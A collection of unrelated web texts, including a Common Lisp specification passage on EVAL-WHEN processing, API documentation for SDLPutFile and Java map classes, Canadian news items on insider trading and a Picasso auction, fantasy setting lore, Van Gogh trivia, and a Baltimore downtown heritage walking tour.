If the form is a compiler macro form (not disabled by a notinline declaration), the implementation might or might not choose to compute the compiler macro expansion of the form and, having performed the expansion, might or might not choose to process the result as a top level form in the same processing mode (compile-time-too or not-compile-time). If it declines to obtain or use the expansion, it must process the original form.
If the form is a macro form, its macro expansion is computed and processed as a top level form in the same processing mode (compile-time-too or not-compile-time).
If the form is a progn form, each of its body forms is sequentially processed as a top level form in the same processing mode.
If the form is a locally, macrolet, or symbol-macrolet, compile-file establishes the appropriate bindings and processes the body forms as top level forms with those bindings in effect in the same processing mode. (Note that this implies that the lexical environment in which top level forms are processed is not necessarily the null lexical environment.)
If the form is an eval-when form, it is handled according to Figure 3–7.
plus .5 fil \offinterlineskip
CT LT E Mode Action New Mode Yes Yes — — Process compile-time-too No Yes Yes CTT Process compile-time-too No Yes Yes NCT Process not-compile-time No Yes No — Process not-compile-time Yes No — — Evaluate — No No Yes CTT Evaluate — No No Yes NCT Discard — No No No — Discard —
Figure 3–7: EVAL-WHEN processing
Column CT indicates whether :compile-toplevel is specified. Column LT indicates whether :load-toplevel is specified. Column E indicates whether :execute is specified. Column Mode indicates the processing mode; a dash (—) indicates that the processing mode is not relevant.
The Action column specifies one of three actions:
Process: process the body as top level forms in the specified mode.
Evaluate: evaluate the body in the dynamic execution context of the compiler, using the evaluation environment as the global environment and the lexical environment in which the eval-when appears.
Discard: ignore the form.
The New Mode column indicates the new processing mode. A dash (—) indicates the compiler remains in its current mode.
Otherwise, the form is a top level form that is not one of the special cases. In compile-time-too mode, the compiler first evaluates the form in the evaluation environment and then minimally compiles it. In not-compile-time mode, the form is simply minimally compiled. All subforms are treated as non-top-level forms.
Note that top level forms are processed in the order in which they textually appear in the file and that each top level form read by the compiler is processed before the next is read. However, the order of processing (including macro expansion) of subforms that are not top level forms and the order of further compilation is unspecified as long as Common Lisp semantics are preserved.
eval-when forms cause compile-time evaluation only at top level. Both :compile-toplevel and :load-toplevel situation specifications are ignored for non-top-level forms. For non-top-level forms, an eval-when specifying the :execute situation is treated as an implicit progn including the forms in the body of the eval-when form; otherwise, the forms in the body are ignored.
Next: Processing of Defining Macros, Previous: File Compilation, Up: File Compilation


Monday’s Insider Report: CEO, President cash out $27-million ahead of this Fund’s proposed conversion
by Jennifer DowtyFeatured below are companies that have experienced recent insider trading activity in the public market through their direct and indirect ownerships, including accounts they have control or direction over.
The list features insider transaction activity; it does not convey total ownership information as an insider may hold numerous accounts.
Keep in mind, when looking at transaction activities by insiders, purchasing activity may reflect perceived value in a security. Selling activity may or may not be related to a stock’s valuation; perhaps an insider needs to raise money for personal reasons. An insider’s total holdings should be considered because a sale may, in context, be insignificant if this person has a large remaining position in the company. I tend to put great weight on insider transaction activity when I see multiple insiders trading a company’s shares or units.
Listed below is a stock that has had recent buying activity reported by an insider.
Hardwoods Distribution Inc. ( HDI-T )
On Nov. 15, Peter Bull, with an ownership position exceeding 10 per cent, purchased 10,000 shares at a cost per share of $15.1858 for an account in which he has indirect ownership (Arbutus Distributors Ltd.), increasing this account’s holdings to 4,425,670 shares. Mr. Bull has been on the board of directors since April 2013.
Year-to-date, the share price has rallied 45 per cent. The company offers its shareholders a quarterly dividend of 8.5 cents per share, equating to a current annualized yield of 2.1 per cent.
**
Listed below are three securities that have had recent selling activity in the public market reported by insiders.
Boyd Group Income Fund ( BYD-UN-T )
On Nov. 18, chief executive officer Brock Bulbuck sold 75,000 units at a price per unit of $192.25, slashing his portfolio’s position to 18,161 units. Proceeds from the sale, not including commission charges, exceeded $14-million.
On Nov. 18, president and chief operating officer Tim O’Day divested 67,500 units at a price per unit of $192.25 with 60,674 units remaining in his account. Proceeds from the sale, excluding trading fees, totaled nearly $13-million.
Year-to-date, the unit price has rallied 74 per cent and closed at a record high of $197.64 on Wed. Nov. 20.
Unitholders are currently voting on the proposed plan to convert the Fund from an income trust to a public corporation called Boyd Group Services Inc.
Equitable Group Inc. ( EQB-T )
Between Nov. 18 and Nov. 20, director Eric Beutel sold a total of 34,600 shares at an average price per share of approximately $114.85 for an account in which he has indirect ownership (Emberwood Glen Enterprises Ltd.), trimming this account’s holdings to 1,865,400 shares. Proceeds from the sales, not including trading fees, totaled nearly $4-million.
On Nov. 19, chief risk officer Ron Tratch exercised his options, receiving 828 shares at a cost per share of $36.11, and sold 828 shares at a price per share of $114 with 1,103 shares remaining in his account. Net proceeds, excluding trading fees, totaled over $64,000.
On Nov. 14, chief financial officer Tim Wilson divested 3,000 shares at a price per share of $115, reducing his portfolio’s position to 15,540 shares. Proceeds from the sale totaled $345,000.
On Nov. 14, Brian Leland, senior vice-president – residential credit, exercised his options, receiving 1,388 shares at a cost per share of $53.15, and sold 1,388 shares at a price per share of $114.56, leaving 402 shares in his account. Net proceeds, excluding commission charges, totaled over $85,000.
Ivanhoe Mines Ltd. ( IVN-T )
On Nov. 11, chief financial officer Marna Cloete invested over $346,000 in shares of the company by exercising her options and receiving 350,000 shares at a cost per share of 99 cents. Between Nov. 11 and Nov. 15. Ms. Cloete sold a total of 290,000 shares at an average price per share of approximately $3.65 leaving 262,876 shares in her account. Proceeds from the sale, not including trading fees, totaled over $1-million.


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Turing emulator, using the Turing machine from the amazing book The Annotated Turing by Charles Petzold.
Hit 'g' to go, 's' to stop. Single step with 'n' / 'N' / 'm' (animation step to next state, step to next state, step to next cell).
The example here calculates root 2 in binary. All inlined javascript, no external dependencies. All state's in the browser DOM. Source is on GitHub.


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Used to push a binary data onto the SDL module from a mobile device, such as icons and album art.
Since SmartDeviceLink 2.0
See
SDLDeleteFile, SDLListFilesInit
- (nonnull instancetype)init;
init()
A SDLPutFile object
Convenience init for creating a putfile with a name and file format.
- (nonnull instancetype)initWithFileName:(nonnull NSString *)fileName
fileType:(nonnull SDLFileType)fileType;
init(fileName: String, fileType: SDLFileType)
The file’s name
The file’s format
A SDLPutFile object
Convenience init for creating a putfile with a name, file format, and persistence.
- (nonnull instancetype)initWithFileName:(nonnull NSString *)fileName
fileType:(nonnull SDLFileType)fileType
persistentFile:(BOOL)persistentFile;
init(fileName: String, fileType: SDLFileType, persistentFile: Bool)
The file’s name
The file’s format
Whether or not the image should persist between ignition cycles
A SDLPutFile object
Convenience init for creating a putfile that is part of a multiple frame payload.
- (nonnull instancetype)initWithFileName:(nonnull NSString *)fileName
fileType:(nonnull SDLFileType)fileType
persistentFile:(BOOL)persistentFile
systemFile:(BOOL)systemFile
offset:(UInt32)offset
length:(UInt32)length
crc:(UInt64)crc;
init(fileName: String, fileType: SDLFileType, persistentFile: Bool, systemFile: Bool, offset: UInt32, length: UInt32, crc: UInt64)
The file’s name
The file’s format
Whether or not the image should persist between ignition cycles
Whether or not the file is meant to be passed through Core to elsewhere on the system
Offset in bytes for resuming partial data chunks
Length in bytes for resuming partial data chunks
Checksum of the bulk data. Used by Core to check data integrity
A SDLPutFile object
Convenience init for creating a putfile that is part of a multiple frame payload. A CRC checksum is calculated for the bulk data.
- (nonnull instancetype)initWithFileName:(nonnull NSString *)fileName
fileType:(nonnull SDLFileType)fileType
persistentFile:(BOOL)persistentFile
systemFile:(BOOL)systemFile
offset:(UInt32)offset
length:(UInt32)length
bulkData:(nonnull NSData *)bulkData;
init(fileName: String, fileType: SDLFileType, persistentFile: Bool, systemFile: Bool, offset: UInt32, length: UInt32, bulkData: Data)
The file’s name
The file’s format
Whether or not the image should persist between ignition cycles
Whether or not the file is meant to be passed through Core to elsewhere on the system
Offset in bytes for resuming partial data chunks
Length in bytes for resuming partial data chunks
Data being sent in the putfile
A SDLPutFile object
File reference name
Required, max length 255 characters
@property (nonatomic, strong) NSString *_Nonnull sdlFileName;
var sdlFileName: String { get set }
A FileType value representing a selected file type
Required
@property (nonatomic, strong) SDLFileType _Nonnull fileType;
var fileType: SDLFileType { get set }
A value to indicates if the file is meant to persist between sessions / ignition cycles. If set to TRUE, then the system will aim to persist this file through session / cycles. While files with this designation will have priority over others, they are subject to deletion by the system at any time. In the event of automatic deletion by the system, the app will receive a rejection and have to resend the file. If omitted, the value will be set to false.
Boolean, Optional, default = NO
@property (nonatomic, strong, nullable) NSNumber<SDLBool> *persistentFile;
var persistentFile: (NSNumber & SDLBool)? { get set }
Indicates if the file is meant to be passed through core to elsewhere on the system. If set to TRUE, then the system will instead pass the data thru as it arrives to a predetermined area outside of core.
Boolean, Optional, default = NO
@property (nonatomic, strong, nullable) NSNumber<SDLBool> *systemFile;
var systemFile: (NSNumber & SDLBool)? { get set }
Offset in bytes for resuming partial data chunks.
Integer, Optional, 0 - 100,000,000,000
@property (nonatomic, strong, nullable) NSNumber<SDLUInt> *offset;
var offset: (NSNumber & SDLUInt)? { get set }
Length in bytes for resuming partial data chunks. If offset is set to 0, then length is the total length of the file to be downloaded
Integer, Optional, 0 - 100,000,000,000
@property (nonatomic, strong, nullable) NSNumber<SDLUInt> *length;
var length: (NSNumber & SDLUInt)? { get set }
Additional CRC32 checksum to protect data integrity up to 512 Mbits.
Integer, Optional, 0 - 4,294,967,295
@property (nonatomic, strong, nullable) NSNumber<SDLUInt> *crc;
var crc: (NSNumber & SDLUInt)? { get set }


Picasso canvas expected to fetch up to $8 million at Toronto auction
by The Canadian PressTORONTO -- A canvas by Pablo Picasso will hit the Toronto auction block tonight alongside offerings from some of Canada's most treasured artists.
The Heffel Fine Art Auction House says Picasso's "Femme au chapeau" will lead its fall sale with a pre-auction estimate between $8 million to $10 million.
The 1941 oil-on-canvas depicts photographer Dora Maar, who during her relationship with Picasso served as the principal subject of his "Weeping Woman" series.
Canadian highlights include a 1912 work by Emily Carr depicting a First Nations village in B.C.
Heffel says "Street, Alert Bay" is the first major Carr canvas to come to market in years and could fetch between $2 million and $3 million.
Comic legend Steve Martin is selling one of the several Lawren Harris paintings in his collection.
The Group of Seven painter's 1928 oil-on-board "Mountain Sketch LXX" is expected to hammer down for between $300,000 and $500,000.
Five works by Jean Paul Riopelle will be on offer, including 1955's "Composition / Sans titre leads," which is estimated to bring in between $950,000 and $1.25 million.
Three A.Y. Jackson paintings consigned by the Art Gallery of Ontario will also be open for bids.
This report by The Canadian Press was first published Nov. 20, 2019.


From the ashes of the War, Andar emerged victorious through the strength and guidance of our great leader, High Lord Varen Kalandrius II. After striking the final blow, he forged the Great Pact with all nations. Years later, the Pact is strong and Andar has become the center of the world. All roads lead to Kyr, the Capital, and High Lord Varen continues to lead with wisdom and humanity.
Andar is a beautiful countryside in the foothills north of the Frostpeaks. The land is rich and lush during the summers, but the winters are bitter cold. Trade and farming make Andar a wealthy nation, and their Knights are feared and respected throughout the lands.
It is said that the City of Kyr is the center of the world and all roads lead to Kyr eventually. Nestled deep in the Frostpeaks, it was founded on an Ancient Runin City believed to be the capital of the Empire. It is surrounded by fertile farmland and is strategically located in a valley near the Khandrys River. Despite surviving numerous sieges, Kyr has never fallen, and many believe it never will.
When the wars were in full swing, many from Kyr fled to the relative safety of Artanac. It is located on the edge of the Frostpeaks and Dunduin land. It is well protected by the hostile mountain ranges, and commands a view miles around over the foothills.
The Gateway to the World, Old Harbour sits on the Lake of Endless Rivers.  People from all nations reside there to sell their wares or set out into the world.
Dunottar Keep is the strongest castle in Andar. It houses thousands of knights, squires, serfs, and the noble family. Its two-meter thick walls have never been penetrated, and it .
It is said that the City of Kyr is the center of the world and all roads lead to Kyr eventually. Nestled deep in the Frostpeaks, it was founded on an Ancient Runin City believed to be the capital of the Empire. It is surrounded by fertile farmland and is strategically located in a valley near the Khandrys River. Despite surviving numerous sieges, Kyr has never fallen, and many believe it never will.
When the wars were in full swing, many from Kyr fled to the relative safety of Artanac. It is located on the edge of the Frostpeaks and Dunduin land. It is well protected by the hostile mountain ranges, and commands a view miles around over the foothills.


Postman to Stoplight converter
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Map
,
IterableMap
,
OrderedMap
and
SortedMap
interfaces.
See:
Description
| Interface Summary | |
|---|---|
| CompositeMap.MapMutator | This interface allows definition for all of the indeterminate mutators in a CompositeMap, as well as providing a hook for callbacks on key collisions. |
| Class Summary | |
|---|---|
| AbstractHashedMap | An abstract implementation of a hash-based map which provides numerous points for subclasses to override. |
| AbstractHashedMap.EntrySet | EntrySet implementation. |
| AbstractHashedMap.EntrySetIterator | EntrySet iterator. |
| AbstractHashedMap.HashEntry | HashEntry used to store the data. |
| AbstractHashedMap.HashIterator | Base Iterator |
| AbstractHashedMap.HashMapIterator | MapIterator implementation. |
| AbstractHashedMap.KeySet | KeySet implementation. |
| AbstractHashedMap.KeySetIterator | KeySet iterator. |
| AbstractHashedMap.Values | Values implementation. |
| AbstractHashedMap.ValuesIterator | Values iterator. |
| AbstractLinkedMap | An abstract implementation of a hash-based map that links entries to create an ordered map and which provides numerous points for subclasses to override. |
| AbstractLinkedMap.EntrySetIterator | EntrySet iterator. |
| AbstractLinkedMap.KeySetIterator | KeySet iterator. |
| AbstractLinkedMap.LinkEntry | LinkEntry that stores the data. |
| AbstractLinkedMap.LinkIterator | Base Iterator that iterates in link order. |
| AbstractLinkedMap.LinkMapIterator | MapIterator implementation. |
| AbstractLinkedMap.ValuesIterator | Values iterator. |
| AbstractMapDecorator | Provides a base decorator that enables additional functionality to be added to a Map via decoration. |
| AbstractOrderedMapDecorator | Provides a base decorator that enables additional functionality to be added to an OrderedMap via decoration. |
| AbstractReferenceMap | An abstract implementation of a hash-based map that allows the entries to be removed by the garbage collector. |
| AbstractReferenceMap.ReferenceEntry | A MapEntry implementation for the map. |
| AbstractSortedMapDecorator | Provides a base decorator that enables additional functionality to be added to a Map via decoration. |
| CaseInsensitiveMap | A case-insensitive Map . |
| CompositeMap | Decorates a map of other maps to provide a single unified view. |
| DefaultedMap | Decorates another Map returning a default value if the map
does not contain the requested key. |
| FixedSizeMap | Decorates another Map to fix the size, preventing add/remove. |
| FixedSizeSortedMap | Decorates another SortedMap to fix the size blocking add/remove. |
| Flat3Map | A Map implementation that stores data in simple fields until
the size is greater than 3. |
| HashedMap | A Map implementation that is a general purpose alternative
to HashMap . |
| IdentityMap | A Map implementation that matches keys and values based
on == not equals() . |
| IdentityMap.IdentityEntry | HashEntry |
| LazyMap | Decorates another Map to create objects in the map on demand. |
| LazySortedMap | Decorates another SortedMap to create objects in the map on demand. |
| LinkedMap | A Map implementation that maintains the order of the entries. |
| ListOrderedMap | Decorates a Map to ensure that the order of addition is retained
using a List to maintain order. |
| LRUMap | A Map implementation with a fixed maximum size which removes
the least recently used entry if an entry is added when full. |
| MultiKeyMap | A Map implementation that uses multiple keys to map the value. |
| MultiValueMap | A MultiValueMap decorates another map, allowing it to have more than one value for a key. |
| PredicatedMap | Decorates another Map to validate that additions
match a specified predicate. |
| PredicatedSortedMap | Decorates another SortedMap to validate that additions
match a specified predicate. |
| ReferenceIdentityMap | A Map implementation that allows mappings to be
removed by the garbage collector and matches keys and values based
on == not equals() . |
| ReferenceMap | A Map implementation that allows mappings to be
removed by the garbage collector. |
| SingletonMap | A Map implementation that holds a single item and is fixed size. |
| StaticBucketMap | A StaticBucketMap is an efficient, thread-safe implementation of
java.util.Map that performs well in in a highly
thread-contentious environment. |
| TransformedMap | Decorates another Map to transform objects that are added. |
| TransformedSortedMap | Decorates another SortedMap to transform objects that are added. |
| TypedMap | Decorates another Map to validate that elements added
are of a specific type. |
| TypedSortedMap | Decorates another SortedMap to validate that elements added
are of a specific type. |
| UnmodifiableEntrySet | Decorates a map entry Set to ensure it can't be altered. |
| UnmodifiableMap | Decorates another Map to ensure it can't be altered. |
| UnmodifiableOrderedMap | Decorates another OrderedMap to ensure it can't be altered. |
| UnmodifiableSortedMap | Decorates another SortedMap to ensure it can't be altered. |
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interfaces.
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public interface ProposalServiceInterface
extends java.rmi.Remote
| Modifier and Type | Method and Description |
|---|---|
Proposal |
createProposal(Proposal proposal)
Creates a new
Proposal . |
Proposal[] |
createProposals(Proposal[] proposals)
Creates new
Proposal objects. |
Proposal |
getProposal(java.lang.Long proposalId)
Returns the
Proposal uniquely identified by the given
ID. |
ProposalPage |
getProposalsByStatement(Statement filterStatement)
|
UpdateResult |
performProposalAction(ProposalAction proposalAction,
Statement filterStatement)
Performs actions on
Proposal objects that match the
given Statement.query . |
Proposal |
updateProposal(Proposal proposal)
Updates the specified
Proposal . |
Proposal[] |
updateProposals(Proposal[] proposals)
Updates the specified
Proposal objects. |
Proposal createProposal(Proposal proposal) throws java.rmi.RemoteException, ApiException
Proposal
.
The following fields are required:
proposal
- the proposal to createjava.rmi.RemoteException
ApiException
Proposal[] createProposals(Proposal[] proposals) throws java.rmi.RemoteException, ApiException
Proposal
objects.
For each proposal, the following fields are required:
proposals
- the proposals to createjava.rmi.RemoteException
ApiException
Proposal getProposal(java.lang.Long proposalId) throws java.rmi.RemoteException, ApiException
Proposal
uniquely identified by the given
ID.proposalId
- the ID of the proposal, which must already existjava.rmi.RemoteException
ApiException
ProposalPage getProposalsByStatement(Statement filterStatement) throws java.rmi.RemoteException, ApiException
ProposalPage
of Proposal
objects that
satisfy the given
Statement.query
. The following fields are supported
for filtering:
| PQL Property | Object Property |
|---|---|
id |
Proposal.id |
name |
Proposal.name |
status |
Proposal.status |
isArchived |
Proposal.isArchived |
approvalStatus |
Proposal.approvalStatus |
lastModifiedDateTime |
Proposal.lastModifiedDateTime |
filterStatement
- a Publisher Query Language statement used to
filter
a set of proposalsjava.rmi.RemoteException
ApiException
UpdateResult performProposalAction(ProposalAction proposalAction, Statement filterStatement) throws java.rmi.RemoteException, ApiException
Proposal
objects that match the
given Statement.query
.
The following fields are also required when submitting proposals
for approval:
proposalAction
- the action to performfilterStatement
- a Publisher Query Language statement used to
filter a set of proposalsjava.rmi.RemoteException
ApiException
Proposal updateProposal(Proposal proposal) throws java.rmi.RemoteException, ApiException
Proposal
.proposal
- the proposal to updatejava.rmi.RemoteException
ApiException
Proposal[] updateProposals(Proposal[] proposals) throws java.rmi.RemoteException, ApiException
Proposal
objects.proposals
- the proposals to updatejava.rmi.RemoteException
ApiException


- * Mr. Vincent started painting when he was 27.
- * Besties with Paul Gauguin.
- * Before he was a painter he was a art dealer, school teacher and preacher.
- * He only sold one painting during his lifetime.
- * He cut his ear off to give to a prostitute.
- * His painting "the roses" was painted his last night in the asylum.
- * He committed suicide in 1890
True or False: Vincent Van Gogh ate yellow paint to make himself feel happier


Banky W announce return to music with new album in 2020
by Agency ReportNigerian singer, rapper, actor and politician, Olubankole Wellington, a.k.a Banky W, on Friday announced his intention to produce a new album in 2020.
The Nigerian rhythm and blues veteran said that he would come out of retirement and release a currently unnamed album.
The veteran singer tweeted in his twitter handle @ BankyW.
“Okay. I’m going to do at least one more album, in 2020. Not sure if there are too many people who feel the same as you do, but thanks for this. I appreciate it.”
The twit came after a fan tweeted at Banky W that;
“Who else misses @Banky W the singer? I love @Banky W the actor, the politician, the activist but please sir still give us music.
‘’If you don’t want to do again, for goodness sake can you just make even if it’s one song a year, just one.” he said.
The News Agency of Nigeria (NAN) reports that Banky W during his quest to become a member of the House of Representatives, confirmed that he had retired from music.
READ ALSO: Jibrin criticises appeal court ruling, pledges to win rerun
He declared his intention to run for the Lagos’ Eti-Osa Federal Constituency seat in Nigeria’s House of Representatives, in 2018, on the platform of Modern Democratic Party.
(NAN)


This tour was most recently modified on 2015 October 6 based on a series of tours of Downtown’s West Side developed in 2011.
Introduction
- Introductions
- About Baltimore Heritage
- Tour overview
Preston Gardens – St. Paul Street
See the main Preston Gardens article for more information.
Charles Center
Mayor Thomas D’Alesandro, Jr. - Double Statue (1987)
A. Lloyd Lillie, Jr.: Born 1932, award-winning sculptor; received a diploma from the School of the Museum of Fine Arts, Boston, and also studied at Skowhegan School of Painting & Sculpture, the Corcoran School of Art, and the Accademia di Belle Arti, Florence. Source.
A double portrait of former Baltimore mayor, Thomas D’Alesandro, Jr., a driving force behind the downtown revitalization of Charles Center. One portrait depicts D’Alesandro casually standing by the side of the plaza looking out over Charles Center. His proper right hand rests on the railing of the plaza and his proper left hand rests on his left trouser pocket. A few feet away, another portrait depicts him relaxing on a park bench with his arms stretched out over the back of the bench. His legs are crossed and he looks over to his proper left.
Thomas D’Alesandro died in 1987:
As mayor from 1947 to 1959, D’Alesandro presided over a period of vast physical improvements in Baltimore. An airport was opened outside the city during his tenure, and major league baseball returned to Baltimore. In 1958, he won voter approval for the financing of the Charles Center urban renewal project, launching the rejuvenation that remade much of the heart of his beloved city. Source.
About Charles Center
- 1954 : Committee for Downtown organized to promote a 1000-acre master plan for stopping the commercial decline of downtown/central Baltimore.
- 1955: Greater Baltimore Committee, led by banker and developer James W. Rouse, joined the effort. Dissatisfied with the slow pace of public planning, GBC formed an in-house planning team, the Planning Council, headed by nationally-known planner David Wallace from Philadelphia.
David Wallace: In Philadelphia, PA in 1953, under Mayor Joseph S. Clark, David Wallace led a citywide urban redevelopment evaluation that resulted in the Central Urban Renewal Area (CURA) Report. The report established a new strategy for overall redevelopment that targeted catalytic actions to strengthen communities and downtown. CURA became a model for Baltimore, MD.
- March 1958: Presented a plan to Mayor & City Council calling for office buildings, commercial space, hotels, a theatre, underground parking, etc. Unusual in for incorporating existing structures (not a “clean-slate” design), across a 33 acre site. Includes three public plazas designed by RTKL, connected by walkways and pedestrian bridges. Plan formed the basis of a $25 million bond issue that year. Eventually spent $40 million public funding, $145 million private investment.
- GBC established an Architectural Review Board : Deans from three of the most prominent architectural schools in the U.S. (Harvard, MIT and University of Pennsylvania) who judged the plans for each parcel of land before development.
Public benefits: increase in employment help the city’s economy; increase in tax base will mean more city resources to meet the needs of the poor. Property development scheme of direct benefit to coporate and finance capital: new downtown employment in skilled or high-paying jobs went to suburban residents, jobs created for city residents are temporary construction or low-paying service sector.1
Declaring Charles Center the “New Heart of Baltimore,” Jane Jacobs called the project an:
…attempt to stimulate a rebuilding use which is at fundamental odds with previous use or the surroundings of the project. The site is in the very heart of downtown, not on its fringes, and it is to be re-used for precisely the things that belong in the heart of downtown.
September 1970: First City Fair staged at Charles Center > A pall hung over many city leaders when several of them, including housing commissioner Robert Embry, suggested a city fair at its new Charles Center to celebrate its neighborhoods, ethnic customs, talents and institutional strength. On the eve of the first fair, fearing that it would set up a riot-prone situation and under pressure from conservatives, D’Alesandro almost canceled it. However, the fair was held and became an annual event, drawing over a million visitors.
Charles Plaza & Center Plaza (1958, 2007)
The 1958 Charles Center promotional report stated: > “Here, open space will be used, loved and economically successful because it will be full of pleasant things: fountains, sculpture, flowers, umbrellas, flags, and trees. The open space will be, in its own way, as concentrated as the city around it.”
George Kostritsky of RTKL envisioned an urban landscape of light, sculpture, and water for Charles, Center, and Hopkins plazas. These three plazas, located on the interior of the two superblocks, were to be linked through a series of elevated walkways, escalators and skywalks in order to overcome the problem of the site’s steep topography (a 68-foot drop in grade from the northern boundary of the site to the southern boundary) and to create a series of “pedestrian islands.” Though futuristic in appearance, this circulation system was a typical component of urban design of the 1950s and 60s and was often promoted as a means of separating pedestrians from the automobile traffic. At Charles Center, the exterior circulation system was also intended to provide a venue for extensive retail activity.2
One Charles Center (1962)
Not just an office building, but a monument to a revered and influential philosopher -architect will soon rise at Charles and Lexington streets.3
- Mies van der Rohe and Marcel Breuer both proposed designs for this site
- 23-story aluminum and glass International Style skyscraper, completed in 13 months at a cost of $10,350,000.
- Another developer adapted Breuer’s proposal for a site across the street, and the two buildings came up practically side-by-side.
Ludwig Mies van der Rohe (1886-1969): Started as a teenager Germany working in his father’s stone carving shop. Served as the last director of the Bauhaus architectural school before the Nazis forced the school to close in 1933. Immigrated to Chicago in 1938; best known for midcentury modernist landmarks Farnsworth Building outside of Chicago and the Seagram Building in New York City.
Two Charles Center/Charles Towers (1969)
- Erected in 1969 by developers Conklin + Rossant
- High-rise apartments, 385 feet/117 meters tall, 30 floors, tallest residential building in Baltimore
Nearby Buildings - Fidelity and Deposit Trust Company (1894) – North Charles and West Lexington Streets, 1894 - Park Charles (1986) - designed by Winsor/Faricy, Inc. St. Paul, MN - Charles Center South (1975) – North Charles and West Lombard Streets
BG&E Building (1916/1966)
- 21-story skyscraper built in 1916, designed by Parker, Thomas and Rice.
- Standing at 88 m (289 ft) it was tied with the Emerson Bromo-Seltzer Tower from 1916 to 1923 as the tallest building in Baltimore.
Parker, Thomas and Rice: Architectural firm based in Boston and Baltimore (Douglas H. Thomas in Baltimore) also designed the Hotel Belvedere and the B&O Railroad Office Building among other iconic Baltimore landmarks
- 1966 addition, designed by Fisher, Nes, Campbell and Associates (also worked on the World Trade Center as Associate Architects)
Lexington Street
Lexington Street Pedestrian Mall (1973)
- 1959: Kalamazoo, Michigan, became the first American city to adopt an outdoor pedestrian mall designed by Victor Gruen, pioneer in the design of shopping malls, for their downtown area, closing two blocks of Burdick Street to automobile traffic.
- 1958: the Planning Council of the Greater Baltimore Committee advanced a $3,500,000 scheme to create an enclosed air-conditioned mall along Lexington Street. A few years later, Committee for Downtown and the firm of Tatar and Kelly proposed a $1,000,000 “face-lifting” for Lexington Street that would include “an elevated pedestrian level connecting to the second floors of existing buildings.”
- 1967: after earlier abandoning the plan, the Planning Commission was inspired by presentations on successful pedestrian malls in Ottawa, Canada (Sparks Street, 1961) and Knoxville, Tennessee (Market Square, 1950s)
- 1973: Lexington Street between Liberty and Howard closed to all traffic except delivery trucks, despite lawsuit by Gutman Realty (Brager-Gutman)
- 1984 September 14-16: City Fair moved to the Market Center area with events at the Lexington Street pedestrian mall, Lexington Market, Park Avenue’s Chinatown, Center Plaza and more. Baltimore Metro subway system, had not yet started regular weekend service, but provided special service during the weekend of the fair.
Kresge’s Department Store (1938) – Park Avenue and Lexington Street (SE)
- 1897: S.S. Kresge and J.G. McCrory became partners.
- 1912 : Kresge bought out McCrory and opened 85 stores.
- 1938: Art Deco store built, expanded in the late 1950s to the south
- 1970s: Closed
Keith’s Theatre – 114 W. Lexington Street
June 1932: In response to an insistent demand on the part of the colored population of Baltimore the management of Keith’s Theatre… have arranged to give midnight shows this Wednesday and Thursday nights at which colored people will be admitted to all parts of the theatre.” with a special appearance by then black celebrity George Dewey Washington.4
New Theater Open Space (1910s-2010) – Park and Lexington (NW)
- Built in the 1910s (oldest theater in Baltimore) by Alfred Lowther Forrest
- Continued to show movies into the 1980’s
- 2010: Demolished by May
Brager-Gutman Building – Park Avenue and Lexington Street (SW)
- 1930 Built as the first downtown store to feature escalators.
- Known as Gutman’s until a merger with Brager’s (aka Brager-Eisenburg’s) located at Eutaw and Saratoga Streets to form“”Brager-Gutman’s”
- Later acquired by Epstein’s – another local discount store chain, established in 1926
- 1991: Closed
Segregation on Lexington Street
November 1953: “If You Ask Me,” Afro-American Newspaper, Mrs. B.M. Phillips: > Thanks to the Committee On Racial Equality, (CORE), the Urban league, and the Americans for Democratic Action, (ADA), more stores in the 200 block W. Lexington st. are realizing there is no color line in the dollars you spend. Lunch counters and restaurants in the Kresge and Woolworth Five and Ten have been serving all customers for several weeks. McCrory’s has just reversed its policy and will serve all comers […] Schulte United in the 200 block Lexington is still acting silly.”
Schulte United Five and Dime – 200 block W. Lexington Street
- Began as Eisenberg Underselling Store, later Eisenberg Company in 1901, by 1928 had over 600 employees at several locations, motto “prices that are irreproachable everywhere”
- David A. Schulte, “tobacco store potentate,” merged with United Cigar Stores in 1927, Entered five and dime retail business in 1928 with goal of 1,000 stores, $35,000,000 investment
- 1954 January 28: Schulte United Five-and-Dime dropped “color bar at eating counters in Baltimore”
Kirby-Woolworth Building – 223 W. Lexington Street
- Kirby Building built for Mr. Frederick M. Kirby, 1907 by Architect Charles M. Anderson
- H.G. Woolworth & Co. building constructed 1907 designed by John K. Stack, built by George Bunecke & Sons, owned by Mrs. Mary V. Wylie
- Buildings combined into a single structure following 1912 merger
Kirby & Woolworth - 1877: F.M. Kirby met Woolworth in Watertown, NY - 1884: Woolworth & Kirby open a five-and-ten cent store in Wilkes-Barre, PA; split in 1887 - 1911: F. M. Kirby & Company owned and operated ninety-six stores - 1912 January 1 Merged to form the Woolworth Company
McCrory’s Building – 227-229 W. Lexington Street
John Graham McCrorey: McCrorey dropped the “e” from his name to save money on extra letter on store signs.
- late 1920s: Lexington Street location opens, grew to a chain of over 1300 stores by 1950s
- 1930: Second floor of McCrory’s leased to Chin Quon and Tom You for a restaurant
Read’s Drug Store (1934) – Howard and Lexington Streets (Southeast corner)
- Designed in 1934 by Baltimore architects Smith and May (also designed the Bank of America building in 1929) Opened on the 300th anniversary of Maryland colony, included terra cotta panels on the fourth-floor depicting sailing ships, pattern of dolphins on the interior dining balcony
- 1955: after successful campaigns to desegregate the Kresge’s and Grant’s store chains, CORE joined with Morgan students fighting to desegregate the Read’s Drug Store located at the Northwood Shopping Center.
- January 20, 1955: a group of student activists from Morgan, staged a sit-in
- January 22, 1955: Afro-American runs the headline, “Now serve all,” sit-down led to desegregation of the whole Read’s chain
Howard & Lexington Streets
Discrimination at Downtown Department Stores
1940s: Department stores discrimination against shoppers targeted by Afro American in the Orchids & Onions campaign. Onions included the May Company, Stewart’s Department Store, and Hutzler’s.
1960 March 26: Black student activists attempted to purchase food at department store restaurants at the Northwood Shopping Center and downtown; black students were attempting to buy lunch at four downtown department stores, only successful at Hochschild Kohn. Stewart’s shut its food counters to all, white and black, and closed the food operation. About 20 blacks entered a Hutzler’s restaurant and waited for three hours, but were not served.
1960 April 17: Issue resolved on Easter Sunday when the Sun reported that store executive Albert D. Hutzler met with civil rights leaders Furman Templeton, David Glenn and Robert B. Watts, then announced “We have lifted restrictions. Negroes will be served in our restaurants.” Hecht-May and other stores followed. Source
Hecht-May Company (1920s) – Howard and Lexington Streets (SW)
- Built in the 1920s for the Hecht Company, merged in 1959 with the national May Company
- Closed in 1988, Rite Aid opened in 1994
Stewart’s Department Store (1899) – Howard and Lexington Streets (NE)
- 1899: Designed by Charles E. Cassell for Samuel Posner; a 6-story brick and terra cotta steel-framed building detailed in a highly ornate Italian Renaissance Revival style
